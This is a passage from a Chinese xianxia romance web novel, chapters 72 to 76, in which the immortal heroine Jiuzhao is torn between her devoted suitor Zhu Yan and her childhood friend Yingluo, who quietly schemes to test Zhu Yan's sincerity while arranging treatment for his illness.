瀛罗的第二个问题追着她旋踵而至。 九昭对此更加犹豫。 说不喜欢,好像是撒谎,但论完全动了心,也不至于。 她斟酌着,从祝晏为自己所做的事情说起:“我也不确定,但他又是为我作证,又是耗费修为,治好了我断契后的高烧,还将最重要的初生尾给了我……从来没有人为我做到如此。” “是吗,那听起来可真不错。” 瀛罗迎合地感叹着。 那双九昭不曾望见的眼睛里,再无半点和气。 九昭未曾听出他的弦外音,双手交握起来,反复搓揉着纤细的十指:“不会有人愿意为了爱我,将性命和一切都交到我手里——你看,你也觉得他挺好,是不是?” “是很好。” 瀛罗明净秀美的面孔半仰起,唯有房顶的椽梁瞧见他此刻无法控制的、外放的、锋利如针的妒意,“可我怎么觉得,这样的人换个角度想想,性格也很深不可测。” “?” 九昭的思绪一顿,下意识抬头看向他,“为何这么说?” “就是很深不可测啊,倘若他是真心爱您,那就还算说得过去。 “可若他接近您,本就是另有所图—— “小姐认为,祝晏仙君付出了这么大的代价,究竟是想从您这里得到些什么呢?” 这个问题,九昭当初也思考过。 只不过当下的她,还沉浸在祝晏斩尾献上的举措里,一时有些障目。 感觉到九昭眸光的变换,瀛罗恢复好友无私的姿态,重新同她对视:“另外,我也有件事想不明白。祝晏仙君,为何会对小姐您情根深种呢?就因为您年少时,曾庇护了他一次吗?可自那以后,您与他几万年未见,您不了解他,他也不了解您,缘何感激会突兀转变成男女之情? “若只是当初遥遥一见的见色起意,细究起来,好像也不是什么大不了的感情。” 是啊,为什么呢? 其实这些天,她开门见山抑或旁敲侧击,也询问过许多次。 祝晏都语焉不详。 仅仅因为她解救了他,再加上一张脸长得出众吗? 可是三清天的神仙,九成九都有一副好相貌。 九昭沉吟不语。 瀛罗依旧没打算将话题就此揭过,他继续说道:“他为您所做的事情,仿佛都是为了向您证明他的真心,却始终没有拿出一个让您真正相信的、爱您的理由。 “何况,就算感激加上见色起意,真的可以转变为强烈到恋慕您几万年的感情—— “可您不是说了吗,他自打来到世上,就生有不治之症,若注定要英年早亡,又何必按捺不住来蓄意亲近您,相爱一场,要接受情人的中途退场,不是徒增您的一段伤心? “爱一个人,似乎不应该如此自私。” 瀛罗的口舌,本就是三清天一等一的好。 轻描淡写几句话,挑拨起九昭心底无限的浪潮。 她一方面思忖不出反驳他的话,认为好像确实如此。 但一方面,又忍不住想,爱人真的需要一个非常明确的原因吗? 否则世界上缘何会有“一见倾心”的词语。 不等她站在祝晏的立场想出一个答案,瀛罗冷不丁又问:“小姐最讨厌什么样的人?” 九昭不假思索:“表里不一。” “……那就是了。” 瀛罗啪地一下打开折扇,意味深长地摇了摇,“我有很多怀疑,相信小姐也是如此,既然这样,不如我们就来验证一下,如此爱您的祝晏仙君,是否心迹如一。” 73| 第73章 ◎“小姐所处之地,便是晏的栖身之所。”◎ 被尾骨存在感不甚明晰的胀痛唤醒时。 祝晏喉咙干涸一片, 四肢还有些沉麻。 睁开眼,房内女性化的摆设提醒着他此刻并非身处二楼的卧房,而在另一空间。 腰部由于久卧, 暂时使不上力气, 祝晏动了动手肘,寻找着支撑点,想要倚坐起来。 转头,却对上一张熟识又陌生的面孔。 一张不应该出现在芸生世的面孔。 那张脸同他相视须臾, 率先绽开笑意:“乍见我这副模样,祝晏公子应当认不出了吧?” 得知传闻是一回事,亲眼所见又是另外一回事。 随着他怎么会在这里的疑问在脑中迸开, 祝晏滞涩良久的思维转动一圈,加快了起身的速度,作势想要行礼问安:“见过西神王世子殿下。” 瀛罗伸手抵在祝晏的小臂下方,方便他借力坐起, 口中和颜悦色道:“此间你我皆在芸生世, 若按照三清天的礼数称谓, 传到凡人耳里终究有些麻烦,依我看, 互相称呼名字就好。” 聪明人之间说话, 无需提前预设太多问题。 帮助祝晏调整坐姿的过程里,瀛罗又自发解释起目前的情况:“这是小姐的房间, 三日以前她带你回来, 将你暂时安顿在此处, 本想趁着二楼无人之时再将你送回房间, 奈何你尾椎处的伤势太重, 随意挪动对养伤有碍, 所以这些天,你都睡在了此处,由我代为照顾。” 瀛罗的言语,令祝晏捕捉到三处要紧信息。 第一,自打他上次斩尾昏迷之后,已经过去了三日。 第二,这三日他都睡在九昭的房间。 第三,瀛罗也已下凡三日。 然而,于瀛罗自身而言,最为重要的一个问题,他尚未给出答案。 祝晏动了动嘴唇,酝酿着得体的开场白。 却见瀛罗像是记性不好的人,突然想起了要紧事一般,笑着轻拍额头:“瞧我,照顾了你三日,自觉已经同你十分熟悉了,竟忘记了你还不知我在此处的缘由——那位西海派出的金仙家中出了大事,父亲临时又找不到合适的人选,干脆命我下凡替代。” 瀛罗的这个借口找得随意,一看就不是真相。 只为叫祝晏明白,此时此刻,他俩成为了一起修补登天阶的同僚。 “原来是这样。” 祝晏露出恍然的神色,心头盘算起来: 怎么会这么巧? 往日无人问津的苦差事,突然之间来了两位神王公子。 初醒时的迟缓过后,祝晏的大脑恢复往日的敏锐。 他观察着瀛罗的衣饰,一身高领的天青长衣,鹤白腰带上仅有一块玉珏装饰。 初秋时节,芸生世的天气却凉得快,单穿长衣略显单薄。 应当还有件外袍,并不知落在哪里。 更叫祝晏眸色变深的,是他分明置身九昭卧房,行为举止却如在自家世子邸般随意—— 内外有差,男女有别。 寻常宾客登门,绝不可能如他一般,混不顾九昭是女子,说脱衣服就脱衣服。 话说回来,九昭又去了哪里? 意识到这点,祝晏的视线微微偏转,侧开瀛罗寻觅起他的附近。 只可惜一无所获,再远些,又被一架高大的仕女屏风挡蔽。 那屏风织绣的丝线奇巧,触光呈现朦胧的半透状。 祝晏正欲透过屏风看向外间,时刻留意着他一举一动的瀛罗,却没有给予额外的机会。 他声调微微高了一度,问道:“祝晏公子在看什么,是在找小姐吗?” 当他询问“是否在找小姐”时,屏风外,无声无息的未知处,突然响起一声被吵醒的鼻音。 伴随着木质结构吱嘎吱嘎的声响。 九昭隐在绣屏花团深处的身体直了起来。 她揉了揉困倦的眼睛:“瀛罗,是祝晏醒了吗?” “是,小姐。” 瀛罗回应着九昭,欲走的脚步半抬,等待她接下来的命令。 那头迟迟无话。 九昭绰约的影子投在屏风上,保持着原样,几息之后,懒洋洋地抱怨起来:“哎呀,你盖在我身上的什么破衣服,都把我腰带上的链穗子缠住了——怎么解都解不开,你过来看看——” “是,小姐。” 又是一模一样的话。 瀛罗凝在俊面上的莞尔不变,眉眼朝祝晏微微一弯表示抱歉。 事实上,他的表情从祝晏醒来开始就未变过。 可祝晏无端认为,刚才的笑带了一点特殊的意味。 公子见谅。 他用口型无声吐出这四个字,转身绕过屏风走向九昭那里。 不多时,外侧传来他们互动的絮语: “你轻点,我这海棠花腰带还是上个月神绣局新做的,别给我扯坏了。” “小姐把手挪开些,不然我不好判断珠穗缠绕的位置。” “讨厌,真是麻烦死了,你怎么变成男子了衣服还是这么麻烦?” “好好好,是我的错,小姐不要着急。” 很寻常的对话。 放在友人、情人、抑或家人之间,都很常见。 祝晏却有些坐不住了。 他枕着九昭的枕头,盖着九昭的衾被,睡着九昭的床榻。 鼻腔一呼吸,就能闻到那股来自九昭身上,常年明媚馥郁的玫瑰气息。 他从未离得九昭这般近。 可瀛罗的出现,又叫他发觉,其实他们的距离还很远。 攥着衾被的手指一紧,眸光变幻几瞬。 取过搭在床架上的衣袍,祝晏默默动作起来。 …… 于是,当瀛罗好容易为九昭解开束缚的衣带时,祝晏步伐迟缓的身影也出现在他们视野中。 “诶,你的伤才好了一点,怎的从床上起来了?” 像是没有立刻反应过来,瀛罗俯身弯腰,笼罩在她身体上方的姿势未变。被第三人沉默注视,九昭不自在了一瞬,起身推开青年亲昵似抱的双臂。 看在眼里,刺在心头。 祝晏却近乎自虐的不肯转移目光。 待走到离两人足够近的距离时,他才晃了晃身体,做出余力不继,需要人搀扶的样子,勉力撑在九昭的摇椅扶手上:“多谢小姐和瀛罗公子的照顾,属下已好多了。” 本能比思绪更快,九昭反手扶住祝晏的小臂,她担忧着对方几日不进水米更显虚弱的气色,不自觉遗忘了还立在身边的瀛罗,立刻起身引着祝晏,坐到旁边置有软垫的椅子上。 瀛罗笑容一滞。 不过半息,又快步跟在另侧,贴心地分担起搀扶祝晏的工作。 将青年安顿好,两人一左一右坐下。 九昭先开口:“幸亏瀛罗下凡来了,否则还真是无人可以近身照顾你。瀛罗在长烨学宫时医术就是出了名的好,已替你查看过了,你新伤旧伤交叠,仙力又损耗不少,这种情况,依靠我们修为被压制过后的治愈术,很难叫你完全康复,不如由我请旨父神,你回去三清天好好养伤。” 祝晏轻声道:“竟然这么严重吗……我倒觉得还好,尾骨也已经不是很痛了。” 一想到他的身子变成这样,泰半是为了自己,九昭难免有些心疼。 可劝人着实不是她的强项,她用眼神示意瀛罗接上。 不知为何,那一向很会察言观色的青年,却是没有如她所愿帮忙。 垂着头,仿佛在思考什么。 不能叫话冷在那头,九昭只好继续道:“瀛罗的诊断,多半不会出错。 “你不晓得,过去我跟人打架,还有修习仙术时出差错,经常弄伤自己。回离恨天去找医官治疗,难免被丹曛姑姑发现实情,连带着父神也会担忧。 “瀛罗知道以后,便为了我特地抽空去南陵拜师学医,就连南神王也夸奖过他,若不是生在西海,而在南陵,恐怕三清天第一神医之名就要——” “小姐。” 终于走神结束的瀛罗轻咳一声,“属下哪有您说的那么好。” 他打断九昭的话,又扭头诚恳地望着祝晏,“公子的弱症,小姐前番也和我提起过了,其实单论外伤还好,就怕内外积压,又无仙力滋养,届时在人间发作得越来越频繁—— “公子不如就听小姐的,先回三清天,事后再从长计议。” 瀛罗话里话外,九昭信任他,将什么都告诉他了。 就算再迟钝的人,面对情敌的直觉总是十分敏锐的。祝晏看了看九昭被“友情”这层表象蒙在谷中的信赖面孔,顺势回忆从苏醒到此刻,瀛罗所做出的一系列行为。 他心底一哂,面上却显出比瀛罗更郑重其事的神色:“小姐将瀛罗公子当成至交好友,万事坦诚以待,晏也当如此。晏倾慕小姐已久,前几日才彼此交心。能得小姐接纳,晏三生有幸。小姐所处之地,便是晏的栖身之所—— “是而,晏不愿返回三清天。” 九昭性格坦荡,对待任何事都不喜欢藏着掖着。 一向内敛的祝晏,眼下能够落落大方表达情意,这点变化叫她感觉到意外的惊喜。 她稍稍红了脸,手指下意识拨弄起腰间的白尾。 祝晏更是回以含情脉脉的视线,心意相知的美好如蜜糖一般在室内弥散开来。 坐在他们中间,充当第三人的瀛罗恍若未觉。他眼风不动,一板一眼提醒道:“此事,小姐亦同我提起过,可当务之急,祝晏公子应当保重身子,才能长久陪伴在小姐身边。” 祝晏却坚持:“我心已决,万望公子成全。” 话说到这个份上,显然前头的提议是怎么都不可能实现了。 九昭眉峰一松,转眼又蹙在一起:“其实——” 她只开了个头,声调被祝晏腹中响起的辘辘声吞没。 愣怔过后,祝晏的面颊红得彻底:“小姐,我……” “也是,现在不是说话的好时机,你该先去用些餐食补充体力才是。” 九昭没再把话说下去。 她唤来绛玉朱映,命他们为祝晏准备些食物。 …… 餐饭已好,因九昭不息卧房出现浑浊气味,便被安排在膳厅。 绛玉和朱映一前一后来搀扶祝晏前去,反被祝晏摆手婉拒。 “真的不用,我已行动无虞。” 目送青年倔强离开的背影,房间只剩九昭和瀛罗两人。 “好险,小姐差点就要将我们的计划说出口了。” 瀛罗望着闭合的大门,确定祝晏走得足够远,才回过身来提醒九昭。 闻言,九昭面上维持的笑容,唰得如同潮水般退了个干净。 “你说要我配合验证祝晏的真心,我配合就是。可这跟治疗他的弱症有什么关系?” 她板着小脸,有话不能说的难受,叫她胸口始终憋着一股气,“我把我在他身体里的发现说给你听,你也觉得那弱症不是没有治愈的可能性,如今我们又得到了杏杳医仙就在人间云游的消息。无论我与祝晏最终是否能在一起,若能治好他的身子,总是好事一桩不是? “你为何半个字都不让我跟他提起?” 74| 第74章 ◎“离开你,我只怕会活不下去。”◎ 面对九昭的质疑, 瀛罗好声好气同她解释: “若能寻到办法治愈祝晏公子的弱症,当然很好。可祝晏公子也和您说过,老师当初诊断过后得出的结论, 是无药可医。如今您虽在祝晏公子体内感受到了枯死仙脉的微弱回应, 但我们还没弄清楚是最开始便如此,还是这些年随着祝晏公子仙阶的提升,它们焕发了新的生机。 “总要先得到老师的回复,获知来龙去脉, 我们才好与祝晏公子提起。 “否则将希望给了他,结果又是无解,岂非叫他心绪大喜大悲, 更不利于养病。” 瀛罗口中的老师,便是神医署之首杏杳天仙。 不久前三人闲聊过程中,若非被瀛罗咳嗽打断,九昭差点就要泄露他过去师从杏杳一事。 此刻, 瀛罗给出的理由, 让九昭无从找茬。 她凝眸看他片刻, 又追问:“既知杏杳就在芸生世,你做什么非要祝晏回三清天?等杏杳回了灵讯, 我们直接将祝晏带去, 再叫她检查一番不就好了,何必天上地下的来回折腾!” 瀛罗坦荡依旧:“祝晏公子已然弱症缠身三万余年, 要治愈不急在这一时半刻, 老师下界为的是寻觅几味芸生世独有的草植炼药, 待收集齐全, 总要回到三清天去。属下想着, 不如先让祝晏公子在北境灵气充裕之地慢慢调养身子, 届时再展开诊断治疗也不迟。” 他言辞恳切,又一副全然为祝晏着想的样子。 九昭便也被说服了大半。 “罢了,你总是有你的道理,都与你做了共犯,我还能说些什么?” 她烦闷的神色微微收敛,手指缠磨腰间绦带,提起另一件事,“所以,你前一日给杏杳发去的灵讯,可有收到回信?杏杳怎么说,有没有告诉你我们什么时候可以登门?” 瀛罗有些为难地摇了摇头:“老师在芸生世隐居,为的就是全力制成手上的药方,这种关键时刻,多半不愿被外事缠身。我虽知晓她身处何方,但也不敢贸然前往惊扰。” 杏杳性格古怪且神出鬼没,是整个三清天皆知的事情。 只是她有出色的医术傍身,又曾治愈过不少天仙贵族,在上界素有名望,就连神帝为了方便她采药研方,都额外给了她一道神令,让她可以自由进出仙、人两界。 九昭降世起,她便时常云游,久不在神医署坐职。 过去一两面的模糊印象早在脑海中淡忘,见报出自己的名号,对方还是不给这个面子,九昭心下微怏。她柳眉横了横,语气不善:“我为君,她为臣,君要相见,她岂有不从之理?” “老师炼药,终为造福三清天,还请小姐息怒。”瀛罗沉吟片刻,拱手代为致歉道,“不如由属下修书一封,上门与老师恳谈一番,待说通她老人家之后,小姐再带祝晏公子前去拜访。” 九昭嘴上虽不饶人,却知此事的确不可强为——杏杳德高望重,她若逼迫对方为祝晏诊治病情,改日传出去,外人不知要如何议论她,更要揣测祝晏是迷惑女君的妖艳祸水。 “那就麻烦你了。” 想通这一茬,九昭不再迁怒瀛罗。她思及对方为自己和祝晏鞍前马后,总要有所表示,复添上一句:“你这般帮我,多谢你,我会记你的情。” 瀛罗垂眸,望着九昭檀口张合的面孔。 她表情间存留着对于祝晏病情的担忧,如今又为着这个男人同他道谢。 念头浮现在脑海,他的手指已然鬼迷心窍探了上去。 仅差半寸便能抵住九昭的唇心,不再叫她说出这般搅动妒火的言语。 下移的视线却在这时,恰好触及九昭澄净的眸光。 那眸光如同两道骄阳,径直照射在他内心所有的阴暗面之上。 冰火相遇,欲望消融崩塌,滋滋作响。 瀛罗不知觉打了个冷战,竖起的食指旋即止在九昭唇前。 他薄唇半启,轻轻“嘘”了一声,眼中情绪重归温和克制:“小姐忘了吗?属下曾说过的,您为君,我为臣,我为小姐做什么都是应该的——小姐下次不要再说这样的话了。” …… 瀛罗的话和前头杏杳的反应,呈现鲜明对比。 一个说自己为臣,做什么都是应该。 一个却因收集草植炼药要紧,连封信件都懒得回应。 分明两者皆为下臣,态度相差如此之大,根本原因又在哪里? 没等九昭想明白,瀛罗道要回房思忖信件如何落笔,告辞离去。 待无人之时,九昭踱步进入内室。 她释放仙术,清洁着祝晏睡过的床榻衾被,脑中忍不住开始回忆这三日的经历。 瀛罗的言语,就如同他们这个种族引以为傲的歌声一般,拥有巨大的诱惑力。 他撩拨着她内心的弱点,催化了她的疑虑。 导致她不得不心甘情愿踏上他这条贼船,与他合作,检验祝晏深情表象下的真心。 奈何,祝晏这个被他们盯上的试炼者,迟迟不曾醒来。 第一日,九昭施术治好了他的尾骨外伤,还能优哉游哉地放宽心绪,等待他醒来。 到了第二日,见祝晏不见好转,反倒是气息越发低迷,她终于开始慌张。 前头说过芸生世不比在三清天,被压制修为的神仙,受伤夭亡几率大上许多。 正值六神无主之际,幸得瀛罗主动开口请缨为祝晏诊治。 九昭这才想起,自己这位好友曾在南陵拜师学医千年。 不问不知道,他当时的老师,正是为祝晏预言过命数的杏杳。 有了这层前提,再加上瀛罗三五下就诊断出祝晏伤势渐沉,是因为连接初生尾的元脉受损,乃是内伤,光靠治愈外部,属于治标不治本,九昭心中的信赖顿时更添几分。 后见他的治愈术作用到元脉,果然起效。 按捺不住激动的九昭,便对他说出了过往在祝晏体内的发现。 瀛罗没有否决她大胆的猜测,将仙力输入祝晏躯体游走一圈后,神情微妙地发生了变化。 九昭将这种变化归结于,他的力量刺激枯萎脉络,也得到了细小的回应。 便越发兴奋地同他探讨,随着修为和仙阶的提升,是否祝晏的弱症有了根治的可能。 瀛罗轻轻颔首。 不过他并没有与九昭讨论太多仙力运行的结果,只笑着说:“若非结契的仙侣,或是娴熟的医者,寻常人将力量送入他人体内,总会遭到剧烈的抵抗,小姐没怎么接触过医术,输入仙力探知祝晏公子弱症的过程却如此顺利,实属天赋异禀。” 九昭不曾多想,仅认为是自己当初为扶胥合修治伤,积攒了一定的经验。 有了瀛罗的加入,一切事情似乎都在朝好的方向发展。 接下来,瀛罗答应她,救人要紧,自己会用为师生时,杏杳留下的信物尝试寻觅对方看看。 又过了一日,瀛罗传来消息,找到了杏杳的踪迹,信物显示她此刻便在芸生世。 …… 如今是第四日。 也是祝晏醒转的日子。 万事俱备,只欠东风。 九昭不禁在心中手掌相扣,祈祷起祖神保佑,拜访杏杳的事情一定要顺利。 祖神有没有显灵,尚不知晓,那合掩的房门,却在九昭闭目期间被人轻轻敲响。 叩叩。 思绪骤然被掐断,九昭只以为是侍奉祝晏用膳的朱映绛玉回来了。 她瞧了眼屋内以灵力运转的自鸣钟。 时辰不过才流逝半刻钟。 这饭吃得倒挺快,不似自己,单独用膳时,总是坐着坐着开始开小差。 九昭三步并作两步小跑到门前,声音比开门的动作更迅速:“你们回来了!祝晏怎么样,准备的饭菜都吃下去了吗,气色有没有好一点?” 她尚不见来人的面孔,对于祝晏的关怀,却是连珠炮似地涌向门外。 阻碍视线的门扉敞开,一双修长的男子臂膀骤然伸出,将她整个人抱了过去。 “诶?!” “好想你……只是昏迷了三天,却好像已有几万年不曾见到你。” 九昭虽在女仙里也算高挑,奈何同祝晏相比仍有显著差距。病容清癯的青年,似乎天生钟意这样的亲近方式。下巴抵住颈窝,长臂环绕,用力道和心跳将她牢牢困在胸膛之间。 他对九昭说温柔而低沉的情话,反反复复地倾诉着想念和离不开她。 被束缚在爱欲的牢笼中,九昭的大脑被一种由依赖、需要和黏腻组成的蜜糖入侵,她突然想到,自己活着的三万四千五百年里,兰祁扶胥加在一起,都不曾对她这么情绪鲜明地表达爱意。 他们就这样堂而皇之地在走廊上拥抱,也不知住在对面的瀛罗听到了没有。 “怎么了,只是吃个饭而已—— “你怎么表现出这样一幅脆弱的样子?” 九昭害羞起来,又有些无所适从。 她只好就着这个姿势,螃蟹似地一点一点后撤回到房间,再顺手将木门关闭。 祝晏还是一动不动地抱着她。 仿佛肌肤血肉都和她逐渐生长到了一起。 许久,他微弱的声音才贴着她的耳廓响起: “吃饭的时候,忍不住想象了一下离开你回到三清天的场景。 “北境是冷的,北境的天空是冷的,北境生活着的一切都是冷的—— “你这么温暖,离开你,独自返回那冰冷之地,我只怕会活不下去。” 75| 第75章 ◎“……世子会不会看不上我?”◎ 九昭自诩除了脾气差以外, 没什么不良嗜好。 可听见祝晏一遍又一遍地强调“我是你的”、“离开你,我会活不下去”—— 她又不得不承认,心底某种难与外人诉说的阴暗占有欲, 得到了极大的满足。 只属于她。 出生入死相随。 对于向往忠诚、炽热、至死不渝感情的人而言, 再没有别的承诺能比这更好。 九昭任凭祝晏抱得越来越紧。 与此同时,她的心又情不自禁流露出一丝内疚。 她希望感情里双方能够坦诚以待。 自己却没能够遵守这一点。 一个人嘴上说爱她,身体表示爱她,行为举止无一不体现爱她。 那么还要他如何证明爱的动机? 难道非得剖开胸膛, 把跳动着的心脏剜出来才行? 在接连倒退十几步后,两人的脚步终是被内室的一方矮案阻拦。 九昭一脚踢开那沉重的木料,案上闲来无事消遣的话本也跟着散落一地。 黑白书页被裙摆带起的气流掀开, 空气中隐有墨香浮动。 脚跟触碰到博古架旁散放的绵软织毯,九昭顺势坐了下来。 她陷在祝晏温暖而清香的怀抱里,静静享受难得的安然辰光。 抱了片刻,余光映进不远处夹隔在话本里的象牙梳, 祝晏想了想, 柔声对九昭请求:“昏迷三日, 属下头发都乱了,虽则午膳后用清洁术修整过一番仪容……但小姐能为我梳梳头吗?” 言罢, 他放开九昭, 换了个跪坐姿势。 脸颊半侧着,慢慢俯身靠在九昭膝头。 格窗未阖, 有沿着缝隙散照进来的日光, 一寸一寸擦亮他面颊的秾丽轮廓。 长睫亦被镀上了一层金边, 抖颤间带出缠绵安详的气息。 宿昔不梳头, 丝发被两肩。 婉伸郎膝上, 何处不可怜。 九昭无端想起这首不知在何处看到过的诗文。 她轻轻抽出青年头上用以固定玉冠的长簪, 再将玉冠取下,就近放在手畔。 祝言适时长臂一展,替她拿来象牙梳。 两人毫无交流,配合却颇有默契。 九昭握着梳子,细密梳齿穿过祝晏黑发,一下又一下舒缓着彼此前端绷紧的精神。 九昭心念一动:“解除伪装术,我想看看你原来的样子。” 祝晏依旧没有说话。 淡淡金光过后,雪一样的长发流泻在她的膝上。 想到这无瑕美丽的背后,是仙脉早衰的沉重现实,九昭梳头的动作下意识放得更轻。 室内空寂。 唯有梳齿摩挲发丝的沙沙声在耳边回响。 不知过了多久,仿佛睡去一般的祝晏,倏忽用近似梦呓的音量开口:“刚才没经过小姐的同意,就在走廊上抱住了小姐,还说了那样多逾越的话……是晏冒犯了,请小姐见谅。” 九昭动作一顿。 若不经允准倾吐爱意,是冒犯,是逾越。 那么这些时日的相处,祝晏早就逾越多回了,怎的如今再来告罪? 她敏感捕捉到青年看似平静的言语之下,暗流涌动的不安感。 正想说话,祝晏又换了个姿势,把面孔深深藏到她的裙摆里,像是遇到敌人袭击将头颅埋进沙子自欺欺人的鸵鸟:“芸生世驻守的神仙数量稀少,同他们相较,晏难免生出自诩之心,以为自己尚有几分姿色意趣,可以勉强为小姐排解闲闷—— “直到瀛罗世子出现,晏才明白什么叫做自惭形秽。 “他长相好,天赋高,家世也出色,是未来的西海神王,又与小姐有着青梅竹马的情分。属下靠在屏风后,瞧见他与您那般亲昵,出来时,您又马上劝我回到三清天养病—— “我以为、以为您不想要我了……才会在走廊上,不经允许,就抱住您。” 闻言,九昭略略皱眉。 若今日下凡修补登天阶的,是扶胥、是兰祁,她倒能够理解祝晏的吃醋不安。 可,他口中说到的,相较自惭形秽的人,是瀛罗—— 她捏住他的手指,指引他去抚摸自己腰间悬挂的茸茸白尾:“感受到了吗?我收下你的初生尾后,这几日都不曾取下过。既接受你的心意,我也想好了要郑重对待,你不用害怕那么多。” 小手扣住大手,两人的指节曲起。 陷落在轻柔似春风的绒毛里,九昭用指腹一下一下磨蹭着祝晏的掌心:“至于瀛罗,我实在不知为何你要和他比较——他虽是我的青梅竹马,但我也只将他当成交心的好友。” “……属下还以为,以为同扶胥上神合离后,您会将他当成下一任的王夫人选。” 祝晏讷讷低语。 “哈?” 九昭被“把瀛罗当成王夫”的语境惊到一下,无言歪头,“就算他变成了男子,可我闭上眼睛,全是他女子时的一颦一笑,我又没有那等磨镜的癖好,怎会想着同他发生点什么!” 祝晏“唔”了一声,这才单手攀着九昭的膝盖,如释重负地抬起头来。 他始终保持面孔与九昭支起的双腿齐平,自下而上仰视的表情既卑微又无害:“抱歉,小姐,是晏误会了,可世子是您的好友,晏又是这样一副残破之躯……世子会不会看不上我?” “怎会。” 九昭被他纠缠着一遍一遍确认,并不烦躁,好脾气地同他说道:“瀛罗是我的朋友,从小到大没有一次忤逆过我,我讨厌的人他讨厌,我喜欢的人,他自然也会喜欢。 “我不太精通医术,你昏迷的这三天,只草草为你治愈了外伤,便想着你肯定能够恢复。结果一天一夜过去,你的伤势却越发沉重——还是瀛罗诊断出,你体内与初生尾连接的元脉也受到了损伤,若不修复,很难从昏迷中醒转。后又消耗修为为你治疗,这才让你的身体好了起来。 “你说,他倘若看不上你,又怎会为你如此费心?” “竟是如此,都怪晏以小人之心度君子之腹。” 祝晏专注聆听着九昭的话音,待她为瀛罗解释完,又表现出一副十分感激的样子,“素闻瀛罗世子从军时作战十分英勇,不成想对于医道也是如此精通,果真是个能文能武的人才。” “嗯,他虽生了根七拐八绕的肠子,鬼主意很多,但的确称得上年少有为。” 对于自己人,九昭从来不吝啬夸奖。 她与祝晏闲聊一阵,姿态逐渐放松。 内心因着要配合瀛罗隐瞒一些事情,而格外构建起的防备也有所松懈。 她又同祝晏分享了几件年少时,发生在他们这对青梅竹马间的趣事。 还道曾与瀛罗在常曦殿的后院比剑,被闲暇而来的神帝撞见,兴致所起指点过一二。 “就是因为父神说瀛罗在剑术方面的天赋极高,放眼三清天也无几人能比得上,我才放弃用剑,改为了使鞭——否则长烨学宫一年一度的仙术大比,我回回都输给他,那多丢脸! “诶,你不知道,别看瀛罗平时都一副脾气很好的模样,比起剑来可凶狠了—— “他那把剑,万年寒玉做的,看着跟主人一样美丽又优雅,却能在相触的瞬间,把人封冻起来,轻轻一敲,连着五脏六腑一起分裂开来,半滴血都不会流出——过去长烨学宫颁布进入灵兽森林,获取仙植和灵兽=犀角的任务时,我就见过他轻轻一下,把那些攻击他的灵兽冻成冰雕!” 随着九昭语调时高时低的描述,祝晏也配合地露出或诧异或沉浸的神色。 偶尔,看见九昭脸上提到自己不如瀛罗时露出的表情,他又会恰到好处地劝慰她两句。 夸她甩鞭的模样何其威风。 以不到四万岁之龄问鼎天仙位,古往今来几十万年,达成者也寥寥无几。 在青年的软语中,再度回首这些当时满心不甘的往事,九昭才发觉自己已然放下了许多。 她怀念着不为世事困扰,无忧无虑的年少时光,倏忽听见青年随口问道,“瀛罗世子得到过帝座的指点,才练就一身高超的剑术。那么他的医术呢,这么厉害,是不是师从南神王?” 武有嗣辰,医有琼英。 这是流传在三清天的一句俗语。 嗣辰是神帝的名字,他是货真价实的武道第一人。 但“医有琼英”这句话,为着琼英为南陵神王的地位,或多或少掺了些水分。 外人不知其中真相,她贵为神姬,又怎能不知。 九昭唇角一翘,似笑非笑道:“当然不是,不还有比琼英王更出名的杏——” 话语既出,她又瞬间惊醒过来,意识到自己的失言。 祝晏犹自不觉,只望着她的双眼,笑盈盈地问道:“小姐,更出名的是谁?” 九昭转了转眼珠,临时想不到好的借口,于是搪塞道:“哎,我都说了我不精通医术了,哪里能知道谁比琼英王更厉害,以及瀛罗师从何人——总之,他不会看不上你的,你放心!” 九昭不愿说,祝晏便也识时务地放弃了追问。 他勾起笑容,担忧之事得到意中人的保证,神色也随之雨过天晴。 “嗯!” 他用力点了点头,“我只知道全身心相信小姐就好了,别的什么都不去想。” 76| 第76章 ◎“或许我已经找到他这么做的缘由了。”◎ 九昭口中“鬼主意很多”的好友瀛罗下凡来, 却是没给她的生活带来多少乐趣。 自打他将请求见面的灵讯发出,终于得到杏杳的回复以后,除了修补登天阶的日常差事, 他只将自己关在房内, 四周设下蔽息禁入的结界——就连九昭去了几次,都回回吃了闭门羹。 无法。 她只好专程挑了个瀛罗轮值的日子,前去视察修补进度。 一问才知,杏杳虽答应了师徒相见, 却附赠了一个额外的条件。 这些天他闭关不出,便是在抓紧时间凝练杏杳信中提到的鲛珠。 鲛珠,是鲛人族以自身力量炼制的珍宝, 其中蕴含强大的水灵气息。 它可以入药,作为稳定药性的引子。直接服用,亦可以提升修为。其中,对同为水系者助益最明显, 其他三系次之, 因着相生相克的缘故, 火系不能使用。 九昭正是知晓鲛珠的珍贵之处,因此对于杏杳的狮子大开口不满:“不提她曾是教授过你医术的师长, 就算看在大家同为上界仙胞的份上, 也不该提出要你短时间内炼制三颗的要求——杏杳把你当成什么了?一到秋天必定结果的果树吗?如此消耗修为,也不怕伤害到你的身体!” 见九昭为自己打抱不平, 瀛罗心底一暖。 他维持着释放仙力, 弥合玉阶裂缝的动作, 唇畔勾起安慰弧度:“小姐不必为我担忧, 区区三颗鲛珠而已, 为了祝晏公子的弱症, 付出这点代价算不了什么的。只不过老师规定的交付期限仓促,我必得拿出全部精力,所以这些天才不能陪伴小姐,请小姐见谅。” 善解人意的瀛罗在前,九昭的脑海转而浮现另一张面孔。 那张面孔楚楚可怜地伏倒在她膝头,又小心翼翼地询问着瀛罗会不会不喜欢自己。 果然, 就像她说的那样。 只要是她喜欢的人,瀛罗同样会视为朋友,尽心尽力帮忙。 九昭再次确定今后的时日,两人一定能够好好相处,转而思忖起该如何回报瀛罗的付出。 若直接拿出相等的修为还给他,奈何有水火不相容的前提存在,要将火系转化为水系,过程困难不说,光是转化也需要消耗不少仙力,如此做法,瀛罗简直得不偿失。 可若换做其他的奇珍异宝—— 瀛罗贵为西海世子,哪里还缺这些。 要匹配得上价值,还要能够证明自己感谢的心意。九昭苦恼了小半个月,尚未想出合适的点子,那头,瀛罗已然炼成三颗鲛珠,连带与杏杳约定见面日期的灵讯一同送了出去。 拿到自己想要的东西,杏杳也不再故作高冷。 没过两日,瀛罗便约好了日子启程出发。 只是求见前夕颇费功夫,等到真正登门拜访——瀛罗早晨出发,未到用午膳就已返回。 九昭得了他马上达到壶天珍宝斋的灵讯,便提前在他房间等候。 房门打开,彼此目光短暂相触。 门外的青年神容间,却是下意识弥散开一丝异样。 九昭试图弄清楚这点异样来自何处,依旧难以言喻。 如果非要形容,大概是欲言又止的复杂,和意料之中的笃定。 “我去拜访老师的事,小姐没有同祝晏公子说吧?” 